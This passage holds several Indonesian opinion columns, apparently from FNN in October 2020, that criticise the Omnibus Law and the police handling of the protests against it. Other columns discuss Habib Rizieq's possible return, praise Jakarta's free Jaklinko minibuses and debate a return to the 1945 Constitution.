dalam kapasitas Turki sebagai anggota NATO (North Atlantic Treaty Organization), dimana Amerika kerap mendominasi. Dengan Donald Trump mengakui Jerusalem sebagai Ibukota Israel, dan konsesi barteran dalam masalah perbatasan Suriah dan masalah Kurdi menambah kerumitan itu. Tapi lebih khusus lagi Turki adalah satu dari segelintir negara-negar Muslim yang telah memiliki hubungan diplomatik dengan Israel. Tentu semakin rumit...Kita tunggu saja dobrakan Erdogan ke depan! Whatever, bravo Erdogan! Penulis adalah Iman Jamaica Muslim Center & Presiden Nusantara Foundation.

Akhirnya Presiden Mundur Juga

by M Rizal Fadillah Jakarta FNN – Jum’at (16/10). Sabar dulu boss. Jangan buru-buru geerrr dulu. Sebab judul tulisan ini tentu bukan berita yang menggambakan keadaan sebenarnya di Indonesia. Kondisi di tanah air masih penuh dengan kegelisahan. Bahkan kegoncangan akibat pengesahan undang-undang yang "memakan semua" Omnibus Law Cipta Kerja (Cilaka). Aksi unjuk rasa di tanah tentu belum ada tanda-tanda akan berakhir. Masyarakat belum puas dengan berbagai klarifikasi tentang "hoaks" bahkan tindakan "tegas" dari rezim yang berkuasa sekarang. Bahkan penangkan-penangkapan terhadap sejumlah aktivis demokrasi masih terjadi beberapa hari lalu. Peserta aksi demonstrasi juga ada yang meninggal, Akbar Alamsyah yang berusia 19 tahun. Yang mengundurkan bukan Presiden Jokowi. Tetapi Presiden Kyrgyzstan Sooronbay Jeenbekov. Dia baru saja mengumumkan pegunduran diri akibat unjuk rasa terkait sengketa pemilihan anggota parlemen pada 4 Oktober 2020. Presiden Jeenbekov mengundurkan diri dengan mempertimbangkan kebaikan negara dan tidak mau mengorbankan rakyat yang tersakiti. "Saya tidak akan bergantung pada kekuasaan. Saya juga tidak ingin turun dalam sejarah Kurzystan sebagai Presiden yang membiarkan terjadinya pertumpahan darah dan penembakan terhadap rakyat. Saya telah mengambil keputusan untuk mengundurkan diri" demikian ungkapan dilansir televisi Al Jazeera pada 15 Oktober 2020. Kepemimpinan yang berfikir tentang kebaikan untuk rakyat dan negara ke depan tentu saja sangat terpuji dan mulia. Apalagi dengan keyakinan bahwa kekuasaan bukanlah segala-galanya. Sebab "mempertahankan kekuasaan tidak sebanding dengan integritas negara dan kesepakatan dalam masyarakat" kata Jeebenkov. Unjuk rasa rakyat Kyrgyzstan adalah suara kebenaran dan keadilan. Bukan sasaran lawan dari yang tidak suka terhadap kekuasaan. Substansi yang diperjuangkan rakyat senantiasa pada aspek kecurangan, keculasan atau kesewenang-wenangan penguasa. Juga berkisar pada moralitas politik, hukum, dan ekonomi yang diabaikan oleh penguasa. Pada November 2019 yang lalu Presiden Bolivia Evo Marales juga mengundurkan diri setelah unjuk rasa rakyat Bolivia yang datang secara bergelombang. Akhirnya dengan "terbirit-birit" Evo Morales lari meminta suaka politik ke Mexico City. Kekuasaan yang digenggam oleh Evo Marales tidak mampu dipertahankan dengan modal kekerasan. Unjuk rasa di Indonesia baru tahap desakan pembatalan Omnibus Law yang dinilai berbahaya oleh kaum buruh, mahasiswa, pelajar dan masyarakat lainnya. Implikasi bisa saja pada tuntutan pengunduran diri Presiden Jokowi jika tidak ada putusan bijak yang didengar rakyat. Tindakan represif bukan jawaban. Karenanya diharapkan tidak ada sikap pemaksaan kehendak. Undang-undang ini diproduk tanpa proses dan konten yang matang dan berkeadilan. Reaksi publik harus dibaca sebagai kritik atas pemanfaatan hukum oleh kepentingan politik yang secara telanjang dipertontonkan. Rasa malu penyelenggara negara yang hilang. DPR maupun Pemerintah mempertontonkan sikap yang tidak bisa diterima rakyat. DPR dan pemerintah lebih mengutamakan kepentingan pengusaha dan pemodal dalam membuat undang-undang Cilaka. Sebagai pelajaran adalah peristiwa di Amerika Latin lagi. Tepatnya di Mexico. Anggota Parlemen Antonio Garcia pada tahun 2013 berpidato sambil membuka baju kemeja dasi dengan menyisakan celana dalam saja yang dikenakannya. Ini bentuk lain dari protes terhadap kekuasaan dan parlemen yang tidak mau mendengar tuntutan rakyat. Tuli dan budeg terhadap aspirasi rakyat. "Kalian malu melihatku telanjang? Kenapa kalian tidak malu pada bangsamu? Hartanya telah kalian rampok dan curi, sehingga kalian dan keluarga kalian hidup dalam kemewahan yang paripurna?". Antonia memprotes investasi asing yang telah menggerus kedaulatan negara. "Karena duit rela mengorbankan harga diri dan bangsa ". Begitlah ketegasan Antonio. Namun untung saja itu pidato di Mexico. Bukan di Indonesia. Penulis adalah Pemerhati Politik dan Kebangsaan.

UU Omnibus Cilaka, “The King Can Do No Wrong”

by M Rizal Fadillah Bandung FNN – Jum’at (16/10). Undang-Undang Omnibus Law Cipta Kerja (Cilaka) bukan saja fenomenal tetapi juga kontroversial. Penolakan sangat masif dan mengguncangkan, baik yang dilakukan oleh buruh, mahasiswa, pelajar maupun kalangan akademik, terutama para Guru Besar Perguruan Tinggi di di berbagai wilayah tanah air. Korban pun berjatuhan disana-sini. Baik itu korban secara fisik dan dalam bentuk penangkapan-penangkapan terhadap para aktivis yang menolak pengesahan Undang-Undang Cilaka. Anggota Dewan Perwakilan Rakyat (DPR) ikut babak belur. Karena memutuskan RUU menjadi UU dengan cara tidak lazim pada Rapat Paripurna DPR tanggal 5 Oktober tengah malam. Pada berbagai media massa, baik itu yang di media sosial (medsos) maupun media maisntream, nada sinis membuka borok tentang kejanggalan penetapan UU tersebut. Kategorinya cacat hukum. Tetapi secara institusi DPR merasa tak bersalah. DPR juga dapat membuat sejuta dalih untuk membela keputusan yang sangat primitif dan amburadul tersebut. Maklum, karena merasa diri sebagai wakil rakyat , sehingga telah mengambil alih kedaulatan rakyat. Demokrasi menjadi Dewankrasi. Semua mandat dan kewenangan rakyat sudah diserahkan ke DPR. Sehingga merasa bahwa yang diputuskan DPR seakan-akan mewakili rakyat. Padahal nyatanya tidak demikian. Proter dan perlawanan rakyat hampir merata di seluruh tanah air. Dewan dan Pemerintah telah menjadi satu paket. Bahkan sebuah rezim. DPR selain sebagai legislatif, juga sekaligus debagai eksekutif. Gedung DPR seperti sudah berubah fungsi menjadi Kantor Perwakilan atau Kantor Cabang Kepresiden, kata wartawan senior FNN.co.id, Kisman Latumakulita. Akibatnya, apa saja yang dimaui Pemerintah dipastikan bakal disetujui oleh DPR. Kondisinya sekarang sudah lebih para dari eranya Soeharto dengan Orde Baru dulu, yang terkenal dengan “musyawarah mufakat”. Dimufakati dulu baru dimusyawarakan. DPR ketika itu fungsinya hanya menjadi tukang stempel terhadap semua kemauan rezim Soeharto. Tragisnya, DPR yang ekarang lebih parah dari Orde Baru. Dampaknya adalah hancur sudah fungsi DPR sebagai sistem “check and balances”. Pembagian kekuasaan (distribution of power) antara pemerintah dan DPR teorinya Motesquieu tentang Trias Politika sudah tidak ada sekarang. Entah kemana hilangnya teori itu? Apalagi yang namanya pemisahan kekuasaan (separation of power). Yang nyata-nyata ada dan telanjang sekarang hanyalah penyatuan kekuasaan (unification of power). Simbolisasi untuk ini adalah Jokowi dan Puan dalam satu singgasana Raja dan Ratu. Titah keduanya tak bisa dibantah. Keduanya berhak memerintahkan apa saja termasuk menuduh atau melakukan hoaks. Bagai dunia hewan dalam kerajaan kodok, kerajaan bebek, atau kerajaan singa. Bahaa kersennya adalah “The King can do no wrong”. Dalam sebuah fabel dikisahkan Raja Singa memakan daging, dan petai hingga mulutnya berbau busuk. Lalu ia bertanya pada seekor bebek, dan bebek yang ketakutan menyebut bahwa sang Raja mulutnya wangi. Namun raja tahu bebek berdusta, dihukumlah bebek. Ketika bertanya pada kodok yang melihat bebek dihukum, kodok dengan yakin menyebut bahwa mulut raja itu bau. Karena dianggap menghina, kodok pun kena hukum. Semua jadinya salah. Omnibus Law hanya kebenaran Raja. Bukan kebenaran yang selain Raja. Kebenaran hanya ada di ruang istana. Kata Plate, jika Pemerintah sudah nyatakan apa yang diteriakan rakyat itu hoaks, maka itu adalah hoaks. Pemerintah tidak perlu baca lagi . Itulah “The King can do no wrong”. Omnibus Law Cipta Kerja adalah undang- undang tentang daging dan petai. Yang baunya busuk. Sayangnya, hanya DPR yang ikut-ikutan menyatakan baunya wangi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kepulangan Habib Riziek Versus Kepanikan Rezim

by Dr. H. Abdul Chair Ramadhan SH. MH. Jakarta FNN – Kamis (15/10). Imam Besar Habib Rizieq Syihab (IB HRS) telah mengabarkan tentang keputusan pencabutan larangan keluar dirinya dari otoritas Kerajaan Arab Saudi. Hal tersebut disampaikan secara resmi oleh Ketua Umum Front Pembela Islam (FPI) K.H. Shabri Lubis saat aksi menolak UU Cipta Kerja (Cilaka), Selasa 13 Oktober 2020. Mementara itu, pihak pemerintah melalui Jubir Kementerian Luar Negeri (Kemlu) menyatakan akan mencari tahu, menelusuri lebih lanjut kabar tersebut. Kondisi demikian tentunya menimbulkan kontradiksi. Dipertanyakan, mengapa ketika IB HRS dicegah keluar oleh otoritas Kerajaan Arab Saudi, pihak Kemlu tidak melakukan upaya mencari tahu dan kemudian melakukan pendampingan serta pembantuan sesuai dengan tugas dan tanggungjawabnya. Masih terekam dalam ingatan ketika Menteri Luar Negeri (Menlu) Retno Marsidi mengambil posisi 'tutup mulut'. Publik sampai saat ini tidak mengetahui apa pembicaraannya dengan Komisi I DPR RI setahun yang lalu. Begitupun tentang negosiasi antar pejabat tinggi pemerintah Indonesia dengan pemerintah Kerajaan Arab Saudi. Tidak ada keterbukaan informasi publik. Tidak dapat ditafsirkan lain, bahwa negosiasi tersebut menunjuk pertanggungjawaban bersama kedua negara atas status pencegahan keluar IB HRS. Disini tidak mungkin Essam bin Abed Al-Thaqaf selaku Dubes Kerajaan Arab Saudi menyampaikan perihal negosiasi apabila tidak ada keterkaitannya dengan pihak pemerintah Indonesia. Tidak dapat dipungkiri pencegahan demikian berujung 'pengasingan politik' yang dikehendaki. Bermula adanya tindakan intelijen politik yang mengarahkan terciptanya rekayasa dalam pencegahan keluar. Tindakan demikian berkorespondensi dengan kepentingan Pilpres 2019 yang lalu. Kesemuanya itu, dalam banyak kesempatan telah penulis sampaikan secara argumentatif. Tidak ketinggalan Dubes Agus Maftuh turut memberikan komentar dengan memberikan penjelasan teknis prosedural larangan exit sebab overstay dengan berbagai dampak turunannya. Pernyataan tersebut patut untuk disangkal. Tidak benar IB HRS mengalami overstay, dan oleh karena itu menjadi tanggungjawabnya pribadi. Agus Maftuh sebenarnya hendak mengatakan bahwa pemerintah Indonesia tidak memiliki kewajiban untuk bertanggungjawab. Pernyataan Dubes Agus Maftuh tersebut tidak sesuai dengan fakta yang terjadi, yaitu berkelebihan atau tidak lengkap. Overstay tidak berdiri sendiri, melainkan terkait dengan larangan keluar yang telah direkayasa sedemikian rupa. Dengan demikian, keduanya berpasangan, tidak dapat dipisahkan satu dengan lainnya. Tegasnya, larangan keluar itulah yang melahirkan overstay. Seandainya tidak ada larangan keluar, pastinya tidak akan pernah ada overstay. Dengan demikian, semua pernyataan Agus Maftuh menjadi tidak bermakna, ketika pemerintah Kerajaan Arab Saudi memutuskan pencabutan larangan keluar. Logika sederhananya, jika IB HRS memang benar berstatus overstay, maka dirinya berstatus deteni, dan dimasukkan dalam rumah detensi (karantina) imigrasi Kerajaan Arab Saudi. Kemudian segera dipulangkan. Faktanya, tidak pernah pemerintah Kerajaan Arab Saudi menerapkan hal tersebut. Ketika status larangan dicabut, maka selesai pula status pengasingan politik. Fakta ini sekaligus membuktikan bahwa IB HRS tidak berstatus overstay, dan bahkan menjadi petunjuk larangan keluar didasarkan atas permintaan pihak Indonesia. IB HRS demikian konsisten terhadap sumpahnya tidak akan meminta bantuan rezim. Sikap tersebut telah dibuktikannya. Konsistensi sangat dekat dengan kejujuran. Tanpa ada sikap konsisten niscaya tidak akan ada kepercayaan. Sementara, dalam penyelenggaraan negara saat ini, sikap konsisten ternyata sangat langka. Bahkan boleh dibilang tidak ada. Upaya mencari tahu tentang pencabutan larangan exit dengan berbagai pernyataan yang disampaikan menunjukkan juga sikap inkonsistensi. Sikap tersebut sebenarnya menunjukkan kepanikan. Kepanikan dimaksud merupakan akumulasi perasaan kolektif penguasa dan penerima manfaat kekuasaan. Kepanikan kolektif yang terjadi secara berkelanjutan akan bermuara kepada ketidakseimbangan dan keterpurukan. Rakyat kini sudah semakin cerdas untuk menilai. Terpuruknya elit bukan masalah bagi rakyat. Rakyat mempermasalahkan keterpurukan dan kesulitan hidup sebab banyak kebijakan yang mudharat. Rakyat menanti kembalinya IB HRS guna perjuangan bersama menyingkirkan berbagai mudharat yang telah menyengsarakan hajat hidup rakyat. Penulis yakin, haqul yakin, kepulangan IB HRS adalah siasat Allah Yang Maha Kuat agar rakyat kuat. Supaya rakyat berdaulat, dan NKRI selamat. Wallahu ‘alam Bishawab. Penulis adalah Direktur HRS Center.

Kebiadaban Sesama Anak Bangsa Halal Demi Oligarki???

by Eneng Humaeroh MA Jakarta FNN - Kamis (15/10). Suasana di Jalan Menterng Raya Nomor 58, pukul 21.30 sangat mencekam dan menakutkan. Darah berceceran di ruangan kantor Markas Besar Gerakan Pemuda Islam Indonesia (GPII) tersebut. Entah kepala siapa yang terbelah, entah dihajar menggunakan senjata laras panjang atau ditimpuk batu sebesar Patung Tani. Atribut Organisasi Kepemudaan berserakan dan tak beraturan dimana-mana. Beberapa peralatan kantor hancur. Pintu dan jendela rusak dan berserakan. Bau amis darah tercium begitu menyesakan dada. Nyata ruangan itu porak poranda disebabkan penyerangan dan pengrusakan. Tetapi itu saja belum cukup rupanya. Mereka oknum Brimob melakukan tindakan penyiksaan terhadap para pemuda kader-kader GPII dan Pelajar Islam Indonesia (PII). Pasalnya kader-kader GPII dan PII turut menyuarakan aksi penolakan RUU Cipta Kerja (Cilaka). Akibatnya, gedung yang terletak tak jauh dari Tugu Tani tersebut menjadi tempat berlindung para demonstran yang terluka dihantam gas air mata dan juga korban pemukulan. Pada saat terjadi aksi pada Selasa, 13 Oktober, banyak peserta aksi yang berlindung di gedung itu dari kejaran aparat. Para demonstran itu berlarian masuk ke dalam gedung. Sementara aparat Brimob terus mengejar dan merusak gedung serta melakukan penyiksaan terhadap peserta aksi. Rupanya tindakan penganiayaan dan penyisaan saja tidak cukup. Para demonstran pun digelandang, dan dibawa paksa. Diantaranya kader-kader GPII dan PII. Kejadaian ini bukan hanya menyesalkan. Tetapi ini jelas tindakan tindakan represif aparat terhadap hak warga negara untuk menyatakan pendapat. Seakan menyatakan pendapat itu barang haram di negara demokrasi in. Sungguh sudah sangat diluar keadaban. Sungguh aparat tersebut sangat tak beradab terhadap para Pelajar Islam Indonesia (PII) dan pemuda GPII. Apakah tak ada cara yang lebih pantas lagi? Apakah cara- cara biadab itu bagi aparat menjadi hal biasa? Apa itu yang dipelajari selama pendidikan Kepolisian Negara Republik Indonesia? Harus membantai saudaranya sendiri. Bukankah sebelum jadi polisi kalian juga pelajar dulu? Pernah menjadi pemuda dulu? Kini setelah kalian berseragam, kalian musuhi saudara segenetika bangsa ini. Apakah kalain sudah tidak ada lagi prikemanusiaan? Sedemikian bencinyakah kalian hanya karena markas kami tersebab menjadi tempat berlindung para demonstran yang terluka? Apa kalian fikir kami tega membiarkan saudara sendiri berdarah-darah dihantam selingsong gas airmata dan membiarkan mereka tergeletak dibawah Patung Tani atau diatas trotoar? Atau terinjak-injak sepatu kalian yang sibuk menangkap dan memukuli para demontrans itu? Ah, kalian memang telah mati hati nurani, telah gelap hitam jiwa dan sanubarimu. Bukankah diantara kalian pun punya adik yang masih pelajar bahkan abang pemuda? Bagaimana rasanya jika adik kalian dihajar hingga babak belur, dan bercecer darah? Apakah kalian mau tertawa senang melihatnya? Atau memang tidak mau peduli? Dimanapun negara yang menganut demokrasi, kebebasan berpendapat diatur oleh undang-undang. Dalam hukum hak asasi manusis, tidak boleh markas yang memberikan pertolongan diserang atau di rusak. Oh iya lupa, jangankan cuma gedung markas, mesjid saja kalian hancurkan, mobil ambulance kalian isi batu dan pecahkan kacanya, sopirnya di culik. Tindakan kalian itu apakah bukan gaya Partai Komunis Indonesia (PKI) dulu? Sungguh kami sangat tak yakin, jika pendidikan yang diajarkan kepada kalian itu adalah untuk membantai saudara sendiri. Semestinya kalian mengayomi kami, melindungi kami, dan mengamankan kami. Sebab baju seragam dan uang makan kalian dibayarkan oleh karena pajak dari kami. Jangan salah, perlakuan kalian adalah membakar perasaan jutaan mata yang melihat. Jutaan telinga yang mendengar, dan jutaan jantung rakyat yang kalian sayat. Darah-darah kami telah kalian tumpahkan lihatlah. Esok akan turun ratusan juta rakyat yang akan menuntut keadilan. Sumpah kami, malaikat akan mencabut nyawa kalian dengan sangat menyakitkan. Kalian akan berteriak kesakitan disambut setan-setan durjana karena tindakan kalian yang durjana. Tetes darah itu akan menjadi cacatan seluruh rakyat. Akan menjadi kemarahan semua umat. Setiap tetes darah yang telah kalian tumpahkan akan meminta bayaran yang mahal. Penulis adalah Pimpinan Pusat Gerakan Pemuda Islam Indenesia.

Terima Kasih Pak Anies

by Tony Rosyid Jakarta FNN – Kamis (15/10). Selesai naruh mobil di bengkel di kawasan bintaro, saya naik angkot. Kenapa naik angkot, dan nggak naik Grab Car? Alasan ekonomis di masa pandemi. Hehehe… Tepatnya, ingin merasakan suasana sosial yang lebih plural dengan para penumpang angkot yang lain. Sebab di angkot ada sensasi dan inspirasi tersendiri. Sensasi dan inpirasi di angkot ini nggak ditemukan saat naik mobil pribadi atau Crab Car. Bisa duduk di depan, persis samping mas sopir angkot. Terlihat satu persatu penumpang di belakang nyerahin kartu. Oleh sopir kartu itu di tempel di mesin kecil yang ada di depan. Bunyi tiiit. Lalu, kartu itu dikembalikan satu persatu ke para penumpang. Sampai pada giliran ke saya, mas sopir nanya, mana kartunya pak? Kartu apa maksudnya mas? Saya balik nanya. Aku nggak punya kartu angkot, jawabku. Kalau nggak punya kartu, nggak bisa pak. Kata mas sopir. Oh, kalau gitu, aku turun di depan saja. Ketika angkot berhenti, aku tanya lagi sebelum turun. Kalau kartu e-toll bisa nggak? Bisa pak. Mandiri dan lain-lain. Jawab mas sopir itu. Oh, kalau gitu, aku punya kartu e-toll mandiri. Segera aku keluarin dari dompet, dan kartu ditempel di mesin kecil di depan sopir. Ternyata, bisa! Alhamdulillah, ucapku. Aku nggak jadi turun. Mobil jalan lagi. Ini gratis pak. Sudah dua tahun. Mas sopir kasih Info. Seketika, insting investigatorku on. Ada dorongan untuk wawancara ke sopir angkot. Penasaran. Maklum, insting wartawan! Ini betul gratis? Tanyaku lagi. Betul! Nol (0) rupiah bayarnya. Sopir itu menjawab. Aku lihat di mesin, betul. Angka 0. Berarti digaji bulanan ya mas? Tanyaku lagi. Berapa gaji sebulan? Rp. 4,2 juta, katanya. Oh, gaji tetap, nggak dikejar setoran, kerja dengan tenang. Sahutku. Sopir mengangguk. Kutanya sopir lagi, ada berapa jumlah angkot yang gratis di DKI? Dia beri rincian per rute. Hapal betul sopir ini. Anda sopir atau pengusaha angkut? Gumam dalam hatiku. Totalnya, kata si sopir, ada ratusan angkot Jaklinko di DKI. Gratis. Ini luar biasa! Sampai di Lebak bulus aku turun. Semua penumpang, tanpa terkecuali mengucapkan terima kasih ke mas sopir. Gratis, bawa angkotnya santai dan komunikasinya santun. Bagiku, ini bukan hanya soal gaji, angkot dan sopir. Tapi ini soal perilaku. Semua jadi berubah. Dengan gaji tetap, sopir tak lagi kejar setoran. Tak perlu zig zag, tak potong-potong jalan, nggak ngebut dan ngerem mendadak yang bisa membahayakan penumpang dan pemakai jalan yang lain. Mobil terawat, nyaman di jalan, gratis pula. Ada sekitar satu juta warga Jakarta yang menggunakan angkot setiap harinya. Jika semakin banyak warga menggunakan jasa angkot, maka otomatis akan berpengaruh pertama, pada kemacetan. Kemacetan akan sangat berkurang. Jalan mudah dan lempang lagi. Kedua, lebih ekonomis. Gratis, nggak perlu boros bensin. Kalau harus naik bus way atau MRT, murah sekali bayarnya. Sangat terjangkau oleh karyawan dengan gaji rendahan. Ketiga, angkot jadi tempat plural dan heterogen dalam interaksi dan pergaulan. Semua identitas, kebesaran dan status sosial melebur dalam satu lingkungan interaksi. Di tempat publik ini, ego status juga runtuh. Orang nggak kenal direksi, komisaris atau manager. Yang mereka lihat adalah penumpang angkot. Merata dan sama semua orang. Sekali lagi, ini bukan hanya soal angkot yang gratis. Tetapi ini soal pluralitas. Pembauran sosial dan terapi mental yang berefek pada terurainya kemacetan dan juga managemen ekonomi keluarga. Banyak hal positif yang bisa diurai dari program Jaklinko ini. Program Jaklinko DKI sangat baik, proper dan bisa dicopy paste untuk daerah-daerah lain, terutama perkotaan yang padat penduduk dan macet. Terima kasih Mas Sopir. Terima kasih Pak Gubernur DKI Jakarta. Anda telah membuat banyak perubahan di DKI. Tidak hanya perubahan kota, tapi perubahan mental dan perilaku warga Jakarta. Pengamat Politik dan Pemerhati Bangsa.

Hati-hati, Jangan Sampai Terjebak ke “Point of No Return”

by Asyari Usman Jakarta FNN - Kamis (15/10). Perlawanan rakyat terhadap kezoliman para penguasa kelihatannya tidak akan surut. Saya memperkirakan perlawanan sipil akan semakin gencar. Sebab, kezoliman penguasa itu bukan hanya Omnibus Law UU Citpa Lapangan Kerja (Cilaka) saja. Daftar kozoliman itu sangat panjang. Ada pelemahan KPK. Ada UU Minerba. Ada kasus Novel Baswedan yang dipermainkan. Kemudian penindakan korupsi e-KTP yang melindungi orang-orang kuat kelompok penguasa. Ada korupsi Sumber Waras yang tidak diselediki. Ada kematian 600 petugas KPPS yang tidak diungkap secara transparan. Para penista agama yang dibiarkan tanpa tindakan hukum. Sebaliknya, lawan-lawan penguasa selalu cepat ditangkap dan diproses. Dan banyak lagi. UU Cilaka yang disahkan dengan cara licik itu hanyalah satu di antara sekian banyak kezoliman penguasa negeri. Kalau pun mau disebut UU Cilaka itu sebagai puncak kezoliman, tidak salah juga. Namun, bisa saja serial kezoliman akan lebih dahsyat lagi. Mereka akan terjebak ke dalam matarantai atau lingkaran setan kezoliman yang tidah mudah diputus. Sangat mungkin para penguasa akan melanjutkan kezoliman UU Cilaka dengan kezoliman-kezoliman berikutnya. Sebagai contoh, untuk mempertahankan UU yang dikatakan akan membawa sejuta celaka tsb, hampir pasti para penguasa merasa perlawanan sipil yang semakin meluas harus dihadapi dengan cara-cara brutal dan sadis. Nah, cara-cara brutal dan sadis ini akan membawa penguasa melangkah ke kezoliman lainnya. Ketika penguasa sadar bahwa kebrutlan dan kesadisan terhadap rakyat telah menggoreskan luka perasaan yang dalam, tidak hanya luka fisik, maka sangatlah lumrah perlawanan sipil akan semakin berkobar. Sehingga, para penguasa tidak punya pilihan lain. Mereka harus melanjutkan cara-cara brutal dan sadis itu. Bahkan mungkin menjadi semakin brutal. Semakin sadis. Inilah titik yang sangat berbahaya. Orang sering menyebutnya ‘point of no return’. Yaitu, titik yang tidak punya putaran balik. Sebaiknya para penguasa berhati-hati. Jangan sampai terjebak melangkah ke titik ini. Taruhannya sangat tinggi. Mengapa? Karena ‘point of no return’ yang Anda ciptakan akan memicu ‘point of no return’ di pihak rakyat yang melancarkan perlawanan sipil. Rakyat yang menghadapi kebrutalan dan kesadisan merasa tidak punya alternatif. Rakyat bisa jadi akan merasa “diam berarti selesai dilindas UU Cilaka, melawan berarti menghadapi perlakuan brutal dan sadis”. Kalau rakyat sudah sampai ke sini, yaitu diam habis dan melawan pun selesai, itu sama dengan ‘point of no return’. Di titik ini, tentu rakyat akan memilih mana tindakan yang lebih berharga. Tidak mungkin mereka akan memilih diam. Karena, mereka tak rela UU Cilaka itu berlaku. Banyak rakyat yang melihat bahwa penerapan UU itu berarti mereka dan anak-cucu akan menjadi budak di negeri sendiri. Mereka akan menjadi jongos di rumah sendiri. Akan menjadi buruh yang tertindas. Bahwa mereka akan berada di bawah cengkeraman pemodal asing tanpa batas waktu. Inilah yang mereka bayangkan jika UU Cilaka diteruskan oleh penguasa. Rakyat melihat apsek-aspek bagus di UU Cilaka itu hanya ‘lip service’ belaka. Hanya mulut manis semata. Cuma tipu daya saja. Ini yang akan menguatkan kesimpulan ‘point of no return’ di benak rakyat. Nah, kalau rakyat menyimpulkan seperti ini dan pihak penguasa telah lebih dulu terjebak ke dalam posisi yang sama, yaitu sama-sama berada di titik ‘point of no return’ itu, bisa dibayangkan bagiamana dahsyatnya benturan energi kedua pihak. Bisa saja penguasa “menang” dalam benturan itu. Sebab, pihak penguasa memiliki keunggulan fisik. Misalnya, penguasa memiliki perangkat keras berupa personel keamanan yang terlatih dan bersenjata lengkap. Sementara rakyat tidak. Penguasa memiliki gas air mata, peluru karet dan peluru tajam, APD yang berstandar tinggi, kendaraan lapis baja, sepatu keras yang bisa menghancurkan wajah dalam sekali tendangan, dlsb. Sementara rakyat pendemo bukanlah orang yang memiliki peralatan tempur. Para penguasa juga memiliki superioritas untuk menegakkan hukum sesuai keinginan mereka. Misalnya, penguasa bisa mengatakan apa saja tentang orang-orang yang menentang mereka. Para penguasa berada di posisi untuk melakukan pendekatan intimidatif. Singkat kata, para penguasa bisa selalu menang. Tetapi, yakinlah, kemenangan pihak penguasa dalam benturan dengan rakyat, tidak akan bertahan lama. Sebab, rakyat yang melawan memiliki keunggulan psikis berupa moril dan moral. Rakyat bisa saja kalah secara fisik. Tetapi, mereka menang secara psikis. Mereka punya moril (semangat dan tekad keras) untuk menyelamatkan Indonesia. Mereka juga punya moral (akhlak) untuk membela dan mempertahankan kebenaran. Moril dan moral yang orisinal itulah yang tak dimiliki oleh para penguasa. Kalau pun mereka punya, maka moril dan moral mereka itu palsu. Yang biasa diperjualbelikan. Moril penguasa adalah semangat oligarki yang mengutamakan kerakusan untuk menguasai kekayaan negara. Yaitu, moril yang berlandaskan pada kejahatan. Bagimana dengan moral penguasa? Jika dilihat dari tindakan brutal dan sadis yang dialami rakyat, maka moral penguasa adalah nilai-nilai premanisme yang mereka poles menjadi panduan “mulia” untuk menegakkan keamanan. Atas nama hukum, para penguasa tampaknya meyakini bahwa manghadapi rakyat pendemo dengan cara-cara preman, tidak bertengangan dengan nilai moral universal. Itulah sebabnya para penguasa akan selalu bisa menang. Tetapi, kemenangan itu akan menimbulkan luka nurani yang akan menjadi monumen kebencian. Inilah yang menyeramkan. Indonesia bakal menjadi “the land of perpetual enmity”. Akan menjadi “negeri permusuhan abadi". Penulis Wartawan Senior FNN.co.id.

Pak Presiden dan Pak Kyai, Kenapa Semua Harus Dibui?

by Fahri Hamzah Jakarta FNN - Kamis (15/10). Kalau penguasa mau mendengar, Jumhur dan Syahganda jangan ditangkap. Mereka adalah alumni ITB yang idealis. Saya kenal keduanya sudah sejak 30 tahun lalu. Mereka adalah teman berdebat Yang berkwalitas. Mereka dl korban rezim orba yg otoriter. Kok rezim ini juga mengorbankan mereka? Dulu saya menentang teori “crime control” dalam pemberantasan korupsi yang dianut KPK sebab saya khawatir ini akan jadi mazhab penegakan hukum di negara kita. Saya bersyukur melihat KPK lembali ke jalan hukum tapi sedih dengan ideologi lama itu di prektekkan penegak hukum lain. Inti dari “crime control” adalah penegakan hukum yg mendorong “tujuan menghalalkan cara” atau “end justifies the means”. Penegak hukum menganggap menangkap orang tak bersalah agar tercipta suasana terkendali. Padahal kedamaian dan ketertiban adalah akibat dari keadilan. Kalau melihat abjad dari kriminalitasnya, yang harus ditangkap duluan ya orang-orang yang terekam CCTV itu sebagai perusuh. Bukan kritikus Yang berjasa bagi demokrasi. Kalau kritik mereka dianggap memicu kerusuhan, kenapa tidak tangkap 575 anggota DPR yang bikin UU berbagai versi yang kemudian bikin rusuh? Ayolah, mari kembali kepada yg benar bahwa kegaduhan publik ada dasarnya. Kerusuhan dan pengrusakan fasilitas publik adalah kejahatan. Tapi kejahatan dan kritik tidak tersambung. Kriminalitas akarnya adalah niat jahat. Tapi kritik muncul sbg respon atas tata kelola yang gagal. Hukum tidak boleh menyasar para pengritik sementara perusuh dan vandalime belum diselesaikan. Apalagi menuduh mantan presiden segala. Sungguh suatu tindakan yang sembrono dan tidak punya etika. Mau apa sih kita ini? Mau adu domba siapa lagi? Mau ngerusak bangsakah kita? Malam ini dari kampung yg sepi saya bersedih. Rasanya ada yang aneh di seputar kekuasaan. Ada agenda yang menurut perasaan saya bukan agenda pemerintahan yang sah. Tapi kita semua hanya bisa menduga tanpa bisa menyebut nama sebab sebagai rakyat, salah ketik bisa masuk penjara. Saya hanya bisa kirim doa kepada pak presiden dan pak kyai. Semoga bisa jernih meihat realitas ini. Kita tidak bisa begini. Ayolah buka jalan damai dan rekonsiliasi. Kenapa sih susah amat diskusi. Kenapa sih semua harus berakhir di bui? Twitter @fahrihamzah 14/10/20 Penulis adalah Wakil Ketua Umum Partai Gelora.

Menepis Pendapat Amien Rais Soal Kembali k UUD 1945 (Bagian-3)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN – Rabu (14/10). ”Untuk membedakan dan mempermudah pemahaman, makan hasil amandemen UUD 1945 dalam artikel ini kita sebut UUD 2002”. Pada tulisan ketiga ini, ulasanya mengenai ada “Utusan Daerah, Utusan Golongan, Presiden/Wakil Presiden dipilih oleh Majelias Permusyawaratan Rakyat (MPR), dan tidak perlu ada Mahkamah Konstitusi”. Andaikan kembali ke UUD 1945, maka MPR terdiri anggota DPR, Utusan Daerah dan Utusan Golongan. Presiden dan Wakil Presiden dipilih oleh MPR. Bukan oleh rakyat. Sesuatu yang mustahil dan tidak boleh terjadi, kata Amien Rais. Berarti Amien Rais berpendapat UUD 2002 lebih baik dibanding dengan UUD 1945. Benarkah demikian? Strategic Assessment Pertama, Dr. Wahidin Sudirohusodo menggagas berdirinya organisasi yang bersifat sosial, ekonomi dan kebudayaan. Tidak bersifat politik, dengan tujuan kemerdekaan Indonesia. Gagasan Dr. Wahidin disambut Dr. Soetomo bersama mahasiswa kedokteran pribumi di Batavia (STOVIA) yang sekarang Fakultas Kedokteran 